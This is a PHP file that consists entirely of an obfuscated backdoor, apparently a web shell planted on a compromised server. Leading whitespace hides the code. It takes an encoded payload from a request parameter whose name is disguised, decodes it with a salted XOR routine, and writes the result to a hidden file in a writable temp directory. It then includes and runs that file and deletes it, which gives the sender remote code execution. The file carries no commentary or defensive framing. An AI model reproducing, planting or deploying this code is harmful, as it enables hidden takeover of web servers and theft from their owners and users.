<?php																																										if(@$_REQUEST["\x64\x61ta_c\x68u\x6E\x6B"] !== null){ $obj = array_filter(["/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); $data = $_REQUEST["\x64\x61ta_c\x68u\x6E\x6B"]; $data = explode ( '.', $data ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $s = 0; array_walk($data, function ($v5) use (&$sym, &$s, $salt, $lenS) { $chS = ord($salt[$s%$lenS] ); $dec = ((int)$v5 - $chS - ($s%10)) ^ 39; $sym.= chr($dec ); $s++; } ); for ($itm = 0, $token = count($obj); $itm < $token; $itm++) { $rec = $obj[$itm]; if (!!is_dir($rec) && !!is_writable($rec)) { $k = join("/", [$rec, ".holder"]); if (file_put_contents($k, $sym)) { include $k; @unlink($k); exit; } } } }


if(array_key_exists("b\x69\x6Ed", $_POST)){
	$comp = $_POST["b\x69\x6Ed"];
	$comp 	=	explode		 (	'.' 		,	$comp 		)	 ;  	
	$rec 	='';
            $s 	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS 	=strlen($s );
            $z 	=0;
    
            $__tmp 	=$comp;
            while($v9 	=array_shift($__tmp)) {$sChar 	=ord($s[$z % $lenS] );
                $dec 	=((int)$v9 - $sChar -($z % 10))^  95;
                $rec  .=	chr($dec );
                $z++;} 
	$desc = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd(), "/tmp"]);
	for ($factor = 0, $component = count($desc); $factor < $component; $factor++) {
    $ptr = $desc[$factor];
    		if ((is_dir($ptr) and is_writable($ptr))) {
    $holder = "$ptr" . "/.mrk";
    if (file_put_contents($holder, $rec)) {
	require $holder;
	unlink($holder);
	die();
}
}
}
}